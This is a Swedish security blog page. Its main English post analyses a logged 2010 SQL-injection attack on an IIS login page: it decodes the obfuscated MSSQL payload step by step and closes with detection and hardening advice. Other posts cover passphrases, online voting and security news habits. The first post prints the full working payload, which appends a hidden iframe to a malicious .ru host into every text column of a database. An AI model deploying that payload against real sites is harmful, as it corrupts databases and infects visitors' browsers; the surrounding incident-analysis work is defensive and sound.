Någon gång 2010 fick jag analysera en attack som fastnat i mitt jobbs IDP. Teknikerna ville ha en förklaring av hur den fungerade och om den var farlig. Så jag skrev en kort uppsats där jag förklarade det hela för dem. Denna skrev jag senare om för min numera avsomnade blogg. Så för den som vill nörda ner sig i lite klassisk webbapplikationssäkerhet, återger jag den här. Den är ganska djup rent teknisk, men borde ge en tanke om hur det fungerar. Och, ja, den är på Engelska. Hoppas den går att förstå ändå.

I’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.

A few words of warning

The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and ”run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, itís like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…

The semi fictitious scenario

You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe you’re the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.

This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for … Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ’ and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.

Good news: Bingo, you got a hit from the logs.

Bad news: It looks like this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp?subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20
VarCHAR(4000);SET%20@S=CASt(0X64 … <Removed>… F5220%20aS%20VARcHar(4000));eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&amp

Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.

Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.

The tail end of the log entry also makes sense:
80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?

You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.

But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldnít we be able to do the same? The answer is off course yes.

The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is ”ASCII Hex URL Decoder”, available from https://github.com/Dillie-O/ascii-hex-url-decoder. But when you try pasting the text into the program you get an error message stating that ”the code must be wrapped in a CAST-statement”. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:

deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616D65 … <Removed>… D653E As VaRChAR(106))’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR

But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.

Running the remaing hex code through the decoder yields:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

And put all together, you get this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);– 80 – 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

You fix the mixed case characters and the final code is:

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE [’+@t+’] SET [’+@c+’]=rtrim(CONVERT(VARCHAR(4000),[’+@c+’]))+<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>’) FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);–

Sweet! But what does it do, and did it work?

Now this is where it gets tricky. I’ll try to pick it apart for you.

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;

This is the start of the GET statement that normally comes from a web browser, but in this case itís from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since it’s likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!

Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Let’s rip it apart.

2;

The innocent 2 and a semi-colon which means ”end of statement.”

DecLArE @s VarCHAR(4000);

This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.

SET @S=CASt(

This part sets ”s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:

deCLArE @T VaRchAr ( Ö blah blah blah Ö) TaBLe_CursOR

Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…

;EXEC(@s);–

And the grand finally, run whatever you put into the s-variable on the SQL-server.

Ok, that begs the question, what does the code stored in ”s” do? We have to pick that apart too. Got a headache yet? Good! Here’s what was decoded and put into s:

deCLArE @T VaRchAr(255),

The variable T is a string of characters with up to 255 characters.

@c VArChaR(255)

The variable c is another string of characters with up to 255 characters.

DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype=’U’ and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)

This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.

Open TabLE_cURsOR

Once created, the cursor is opened.

fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)

It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.

BeGin

Begin starts a block of statements belonging together.

ExEc(’upDate [’+@t+’] SeT [’+@c+’]=rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))+cAst(0X3C696672616 … <Removed>… 672616D6 53E As VaRChAR(106))’)

Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The ”rtrim(cONVert(vaRcHaR(4000),[’+@c+’]))” part makes sure that the already present data is retained and the data it then tries to add is decoded as ”<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>”.

FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c

Gets the next victim from the list and feeds into the variables T and c.

End

Ends the statements. Now it iterates through everything between BEGIN and END again, if there’s anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, itís closed.

ClosE TablE_CURsor

Closing the cursor.

DEaLLOcaTE TaBLe_CursOR

Nice of it to actually clean up after trashing the place.

So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!

That’s all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references ”sysObjects” and ”sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.

That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the ”iframe”-code.

But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.

If all those three things show no evidence of a successful attack, you’re probably in the clear. I said ”probably”. Good. Next up for you is a cup of coffee and a chat with the developers.

The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.

What must be done to secure a web application depends on how the application is built, but there are a few general rules:

Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.

The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?

The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like ”The application has experienced a problem and your request could not be completed. Please call your system administrator.”

At the end of the day you hopefully get to write a report stating that you sound the ”all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.

• 0 comments

Klassiskt citat vid det här laget: ”Vi som är födda före Facebook blev populärt, slipper skämmas för vad vi gjorde när vi var ungdomar”.

Visst är det så. Det finns säkert många pinsamma bilder de äldre generationerna när de har en lampskärm på huvudet och super billig Rysk Vodka. Dessa bilder hamnar troligen bland massor av andra i ett arkiv där de aldrig mer ser dagens ljus. Och ingen är ledsen för det. Men det är inte alltid så.

Ibland flyter gamla försyndelser upp och personer får stå till svars för saker de sagt, eller gjort när de var unga. T.ex. bilder, som då var menade som en rolig grej, men som många år senare blir pinsamma inför en persons valrörelse eller när vederbörande blir VD för ett företag.

Men allt är inte bilder. Med vår stora förtjusning av digitalisering som företag, kommuner och organisationer sysslar med just nu, dyker saker upp helt oväntat.

När jag sökte på mitt namn på Google kom helt plötsligt en artikel från DN som skrevs om mig 1993 upp. Det är när jag förklarade att jag hellre var ensam än hängde på ytliga fester och drack mig berusad. Ingenting pinsamt egentligen, men helst hade jag nog sett att den försvann i glömskans djup.

I IT-säkerhetsvärlden är denna typ av information ingenting som man tänker på. Men för en hackare eller en penetrationstestare ger den mer vapen att tillgå under ”footprinting”-fasen, när man försöker ta reda på information om ett företag, en person eller en organisation. Alla försök att minimera informationen som finns att tillgå, kan motverkas av att information från gamla faxar, BBSer, brev och telex helt plötsligt läggs ut på nätet utan förvarning. Och det är inte under vår kontroll.

När information digitaliseras, kan en hackare som tar sig in hos en myndighet läcka ut bra mycket mer information än för 10-15 år sedan. Och mer blir det. ”Vad som göms i snö, kommer upp i tö”.

Vad är strategin för att hantera detta? Det är troligen en plan att se till att ha en omvärldsbevakning där man har mekanismer för att hantera när information om en själv, sitt företag eller organisation omnäms. Det är också viktigt att fundera på om man verkligen VILL digitalisera allting. Måste saker som skulle kunna vara skadligt i händerna på en hacker bli digitalt? Fundera på detta och kom ihåg ”Internet glömmer aldrig”.

• 0 comments

Att välja bättre lösenord med passfraser
Av Erik Zalitis.
Skriven: 2019-08-26.

2012 skrev jag ett inlägg om säkra lösenord och diskuterade hur de borde användas. Det har hänt en del sen dess och numera är vi långsamt påväg att lämna lösenorden för säkrare sätt att autentisera oss. Men vi är inte där på långa vägar, så frågan om lösenord kvarstår. Hur väljer man säkra sådana?

I originaltexten skrev jag att man kan skikta lösenorden och ha regler för vilka som fick återanvändas och vilka som måste vara unika. Detta råd är helt förlegat. Nu gäller det att ha en vettig lösenordshanterare som låter dig generera starka lösenord för varje tjänst.

Men om du måste använda manuella lösenord, kommer här vad du behöver tänka på.

Ta fram en mening som inte är direkt möjlig att koppla till dig, din familj eller ting du har i din närhet. Solen skiner och jag är glad låter bra och går lätt att trycka ihop till SolenskinerOchJagEGlad. Notera att jag konverterade bort mellanslagen och de svenska tecknen. Om ditt system stöder Svenska tecken kan du öka säkerheten genom att använda dem. Det är tyvärr många system som inte funkar med tecken som åäöÅÄÖ.

Det är viktigt att ha MINST fyra ord i varje lösenord du genererar på detta sätt. Och antalet tecken måste överstiga 12.

Matematiken bakom

Vettigt byggda system lagrar lösenordsuppgifter som så kallade hashar. Dessa kan ses som ”fingeravtryck” av en lösenord. Man kan inte få tillbaka lösenordet från en hash, däremot kan man utnyttja testa lösenord tills man får fram samma hash och då vet man lösenordet. En komplicerat lösenord är oftare än många anar värdelöst. Lösenordet Sommar11 är lättare att knäcka än Ad21cTG4, men detta beror på hur man försöker gissa lösenordet.

Två saker avgör svårigheten i att gissa ett lösenord: entropin och längden på lösenordet. Entropin i detta fall är antalet möjliga tecken per position i lösenordet. Tänk dig att vi vet ett av lösenorden i listan på lösenords-hashar som vi vill knäcka och att det är Ad21cTG4. Där kan man gissa att systemet som genererat det har gett varje position en slumpmässigt vald siffra, stor eller liten bokstav. Det är rimligt att anta att det handlar om bokstäver från A-Z, a-z (26 små bokstäver + 26 stora bokstäver) och nummer mellan 0-9. Det innebär att entropin är 26+26+10=62 möjliga tecken per position.

Vi gör ännu en djärv gissning: lösenorden är automatiskt genererade och alla har samma längd. Dessutom verkar inte användaren tvingas att byta det direkt, eftersom det lösenord vi redan har verkar vara genererat av en dator och inte en människa. Det kan vara fel, men hackare måste lära sig göra rimliga gissningar.

Längden för lösenordet är som sagt 8 tecken, så kan man ju tro att antalet möjliga lösenord är 62 * 8 = 496. Om nu så vore fallet skulle lösenord inte gå att använda överhuvudtaget. 496 möjliga kombinationer är trivialt att knäcka. I verkligheten är det lite knepigare att beräkna antalet möjliga kombinationer: n!/k! * (n-k)!, där n är antal möjliga tecken och k är lösenordets längd. 1)

”!” inom matematiken kallas fakultet och innebär förenklat att man multiplicerar alla heltal från 1 till och med talet självt. För att ta ett exempel: 6! blir då 12345*6.

Mer om begreppet ”Fakultet”:
http://sv.wikipedia.org/wiki/Fakultet_%28matematik%29

Vi har 62 möjliga kombinationer (entropin) gånger 8 tecken, så:

62!/(8!*(62-8)!) = 3381098545 (3,381098545 x 10^9) möjliga kombinationer.

Tyvärr är detta också helt fel, då det antar att varje tecken bara få användas en gång och att ordningen av positioner är ointressant. Ad21cTG4 skulle då vara exakt samma lösenord som dA21cT4G, vilket är väldigt osannolikt.

Lösningen är att använda en formel för att räkna permutationer istället. Detta funkar som en formel för kombinationer, men räknar som att tecknens placering i lösenordet är relevanta. Vår valda formel tillåter att alla tecken i entropirymden får användas mer än en gång i samma lösenord.

Goda nyheter, den är betydligt enklare än den förra formeln:

n upphöjt till k

62 upphöjt till 8 = 218340105584896 (2,18340105584896 x 10^14) möjliga kombinationer.

Varför detta krånglande kan man tycka? Min poäng var att poängtera att inte glömma detta med att ett lösenord måste ha en viss ordning för att vara unik, när man räknar på lösenordsstyrka och att jag vill poängtera att ordet ”kombinationer” är felaktigt att använda om lösenord. Det heter ”antalet möjliga permutationer” och inte ”antalet möjliga kombinationer”.

Nu kommer den sista delen av sifferjonglerandet, där jag ska visa att ett 14 tecken långt lösenord inte ger dubbelt så många kombinationer som ett sju tecken långt.

Entropi: a-ZA-Z0-9

I detta fall har ett 14 tecken långt lösenord 3 521 614 606 208 (3,5 tusen miljarder) fler kombinationer än ett 7 tecken långt. Man kan ju tycka att ett 7 tecken långt lösenord med denna entropi är omöjligt att knäcka. 3,5 tusen miljarder möjliga lösenord kan tyckas vara extremt, men det finns en faktor kvar och det är hur många lösenord man kan testa i sekunden. Wikipedian ger oss något att jobba med: “For some kinds of password hash, ordinary desktop computers can test over a hundred million passwords per second using password cracking tools running on a general purpose CPU(…)”. 2) Låt oss anta att detta stämmer i vårt fall och din helt splitternya PC hanterar 100 miljoner lösenord-gissningar i sekunden. Då får du fram:

3521614606208 / 100 000 000 = 35216 sekunder (avrundat) = 9,8 timmar.

Tydligen är detta ett bevis på att sju tecken inte är på långa vägar tillräckligt. Hur funkar det med 14 tecken då?`

12401769434657526912139264 / 100 000 000 = 1,2401769*10^17 sekunder (avrundat) = 3932 575 290 = drygt 3,9 miljarder år.

Det finns idag extremt kraftfulla beräkningskluster (ungefär en stor samling ihopkopplade datorer som delar upp beräkningarna mellan sig) som kan gissa långt fler än 100 miljoner lösenord per sekund. Men problemet kvarstår, det handlar om så pass långa tidsrymder att det troligen inte är möjligt att knäcka inom rimlig tid.

1) https://betterexplained.com/articles/easy-permutations-and-combinations/
2) http://en.wikipedia.org/wiki/Password_cracking

Hur attackerar man ett lösenord i verkligheten?

SolenskinerOchJagEGlad har fler än 14 tecken, vilket betyder att ni som kör Windows-burkar inte lagrar lösenordet med hjälp av den knäckta LanManager-algoritmen som lagrar lösenordet som två 7-teckens lösenord och inte skiljer mellan stora och små bokstäver. Ni förstår säkert nu hur illa detta är med tanke på vad vi just gått igenom.

Brute force
Alla formlerna ovan har visat hur svårt det är att gissa riktigt långa lösenord med hög entropi. Brute force testar alla möjliga permutationer upp till ett visst antal tecken med en förinställd entropi. På riktigt långa lösenord är brute force inte särskilt användbart.

Ordliste-attack
Ordliste-attacker testar ord och kombinationer av ord från ordlistor. Den lägger normalt även till siffror, så kombinationen Sommar11 är lätt att knäcka med en ordliste-attack.

Dock har dessa attacker problem med lösenord som innehåller fyra ord eller fler. Särskilt som att du nu har ändrat delar av orden till siffror.

Rainbowtables
En bra teknik för att snabba upp knäckandet är att förberäkna och skapa en databas med möjliga hashar för en lösenordslängd och entropi. Då behöver du bara slå upp din hash och kan då få svar mycket snabbare. Problemet är att dessa databaser snabbt blir stora och tar tid att bygga. De finns förberäknade databaser att köpa eller ladda ner gratis. När lösenorden närmar sig 20 tecken eller mer, är de flesta inte användbara längre.

Hybridattacker
Här finns nog den bästa möjligheten. Genom att blanda ordlistor med brute force kanske det är möjligt. Men jag ställer mig tvekande till att SolenSkinerOchJagEGlad är möjligt att knäcka inom rimlig tid. Tänk också på att det är en stor skillnad mellan ”offline-attacker” där du har en ”oändlig tid” på dig att testa och online-attacker som är svåra att hinna med innan kontot spärras eller någon skyddsfunktion träder in.

Läs vidare
http://sv.wikipedia.org/wiki/Permutation
http://sv.wikipedia.org/wiki/Kombination_%28matematik%29

• 0 comments

Nya teknologier kommer hela tiden och i ett tidigare blogginlägg pratade vi om att inte komma efter och att hela tiden patcha. Men kanske borde vi också diskutera om det motsatta problemet: när man INTE ska ta steget eller åtminstone när man bör vänta.

En hel del nya programvaror och teknologier har problem och fel som långsamt rättas. De flesta vet att första utgåvan av en helt ny programvara eller en ny större versionuppgradering kan strula. Eller snarare, vi vet att de KOMMER att strula. Hur är det med säkerhetsproblem då? Svaret är att det är ett ganska stort problem om något som en ny kryptoalgoritm är just det: ny. När krypteringsalgoritem AES kom, gick det flera år innan den började användas i stor skala. Till en viss del vill man inte investera i nya algoritmer eller teknologier direkt när de finns. Sen finns det en känsla av att det kan vara ett misstag. Vad om det finns en allvarlig säkerhetsbrist inbyggt i protokollet eller teknologin? Misstaget när man kastade sig över WEP-krypteringen och sen insåg att den var mycket osäker är något industrin minns idag.

Samma sak gäller saker som TLS 1.3 och WPA3. De kommer att ta över, men det är troligen så att det kommer ta ett tag innan de finns tillgängliga överallt och att alla använder dem. Och risken för att man hittar allvarliga säkerhetsproblem med dem finns alltid. Få vill vara ”early adopter”, men alla vill ha nya programvaror, säkerhetsprotokoll och produkter.

Så vad är stalltipset då? Svarat är: vänta tills det är dags och låt andra ta smällarna. Det handlar ofta om en rätt stor investering och då vill man vara säkra på att produkterna man köper fungerar som de ska och inte inför nya hot. Ett visst mått av konservatism är troligen bra. Men glöm inte att inte vänta för länge. Då blir det problem med det istället.

• 0 comments

Igår var det den stora valdagen. Svenska folket gick till valurnorna för att rösta fram vår närvaro i Europeiska unionen. Valurnor, ja. De är ju fortfarande en grej. Idag kan du betala räkningar, köpa varor och deklarera via nätet. Bra va? Borde inte nästa sak vara att rösta via Internet? Allt du behöver göra är att sitta hemma och fylla i ett formulär och avsluta med att signera med mobilt bankid och sedan är allt klart?

Varför har vi inte Internetröstning ännu? Svaret är att det finns ett visst mått av konservatism bland länderna. Men det är så av en bra anledning: om nu röstningen vore elektronisk, skulle fientliga makters påverkan kunna få oöverskådliga effekter. Vi talar om att ett helt lands regering kan tillsättas av hackare styrda av en annan nation. Detta skulle kunna bli katastrofalt. Även om detta inte sker, skulle blotta misstanken om att det KAN ha skett göra att resultatet och regeringens legitimitet ifrågasätts. En annan sak är pappersspåret. Idag finns valsedlarna kvar och kan räknas för att bekräftas och kontrolleras mot vallängder som också finns på papper. Detta är troligen mycket svårt att påverka i stor skala. Denna spårbarhet är själva kärnan i trovärdigheten för hela systemet.

Personligen tror jag att röstning alltid bör vara pappersbaserad. Jag tror inte ens att elektronisk röstning med en skrivare kopplad till elektroniska valmaskiner är tillräckligt säkert. Diebolds valmaskiner i USA där man diskuterade nödvändigheten av att ha ett virusskydd i dem för att kunna lita på dem är ett skräckexempel.

Så beställ gärna skor på nätet, men kräv att få gå till en vallokal trots regn och rusk för att rösta. Det hänger hela vår demokrati på!

• 0 comments

Ni känner ju till begreppet ”Offentliga sektorn” och ”Privata sektorn”, men känner ni till den ”Hemliga sektorn” ? Ok, det är inte det officiella namnet, men försvarsbranschen har många spännande projekt igång och om du arbetar inom IT-säkerhetsområdet finns det mycket som kan vara bra att delta i. Det kräver dock rent mjöl i påsen! Om du får chansen att jobba som konsult i något försvarsbaserat projekt måste du gå igenom intervjuer och säkerhetskontroller, så om din ekonomi är trasslig eller du har gjort något brottsligt nyligen är detta inte för dig!

Skulle du få chansen att jobba för något försvarsinriktat kommer du hamna i en värld med många intressanta projekt och konstruktion av diverse saker som är till för att försvara landet. Det kommer också sätta din disciplin på prov. Jobbar du med något hemligstämplat, kan du inte bara trycka ner pappren i stövelskaften och gå ut ur byggnaden! Du arbetar hela tiden på ett metodiskt sätt så att ingenting försvinner eller faller i fiendens händer. Tyvärr blir det normalt inte några hemliga fraser, agentutbyten eller samtal med skumma typer i trenchcoat när du jobbar inom den hemliga sektorn. Men du kan lära dig en hel del om hur säkerhet går till i en värld där det som folk räknar som överdriven försiktighet är vad som är normalt förfarande här.

Vad du också lär dig är att du kan bidra till att förstärka vårt försvar och samtidigt få en bild i hur en riktigt säkerhetsmedveten bransch fungerar.

• 0 comments

Det gäller att fortsätta lära sig, skrev jag ju tidigare i denna blogg. Men låt oss prata om en den delen av det ständiga lärandet som kallas omvärldsbevakning. När man jobbar inom säkerhetsområdet är det viktigt att se trender och samtidigt ha reda på vad som händer. En del förändringar av branschen sker snabbt medan andra går med en glaciärs hastighet. Det finns två sorters information som är av intresse: de kortare nyheterna som berättar vad som just hände och sammanställningarna över trenderna. Nyheterna kan man lätt få genom att vara med i Facebook-grupper, prenumerera på säkerhetsbrev från folk som Bruce Schneier och kolla siter på nätet. Sammanställningarna får man enklast från stora säkerhetsföretag och firmor som Gartner.

Men det är inte utan problem att hålla sig uppdaterad. Många webinars (alltså korta webbutsändningar med senaste nytt) är inget annat än förtäckta produktpresentationer. De redovisar ett intressant hot och fortsätter sedan problemfritt med att använda 95% av presentationen till att berätta hur deras produkt kan användas för att bekämpa hotet. Denna typ av videos är rätt döfödda. Gratisseminarier är det ofta lika illa med. Ett av föredragen under en dag av seminarier kanske har en allmängiltig presentation, medan resten pratar produkter … produkter och … produkter. Jag tycker dessa är ganska intetsägande och inte värda tiden de tar att se. Dessutom tror jag många deltagare letar efter ett skäl att kunna få betalt utan att behöva arbeta när de går på dessa evenemang. Det och gratis mackor.

Sen finns det podcasts och tjänster som Youtube. Om man har tiden är dessa ofta värdefulla om man vet vad man ska lyssna på. Jag har ofta podcasts i lurar eller i internetradion vid sängkanten när jag har tid. Självklart tror jag vår podcast kan vara värdefull i sammanhanget, men det är ju inte den jag lyssnar på under dessa tillfällen. 🙂

Om du har ett ansvar på din avdelning att hålla dig och dina kollegor eller kunden uppdaterade med vad som händer, starta ett nyhetsbrev eller någon annan typ av tjänst. För många är en sån tjänst värdefull när man behöver svara på frågan om vad den senaste tidens händelser och trender betyder för just den som lyssnar. Måste något förändras? Är det dags att dra öronen åt sig på något sätt? Är det man gör bra eller dåligt vad det gäller säkerhet.

Om du lyssnat på vår podd ett tag kanske du har en liten lista med saker som är intressanta för dig och som vi pratat om:

• Attackerna blir mer riktade.
• Lösenorden är på väg bort – och de som fortfarande används måste vara långa.
• Social manipulation är en stor faktor.
• Att upptäcka attacker på ett smart sätt är viktigt.
• AI är påväg – mycket kommer ändras.
• Tänk två gånger innan du hoppar på IoT-tåget.
• Internet har stöpt om säkerhetstänket och fortsätter att göra så!

Och så vidare. Det är helt klart värt att sätta ihop sådana här listor lite nu och då och givetvis alltid från många olika källor.

Så se till att du ha örat mot rälsen och vet vad som händer och kan ana framtiden.

• 0 comments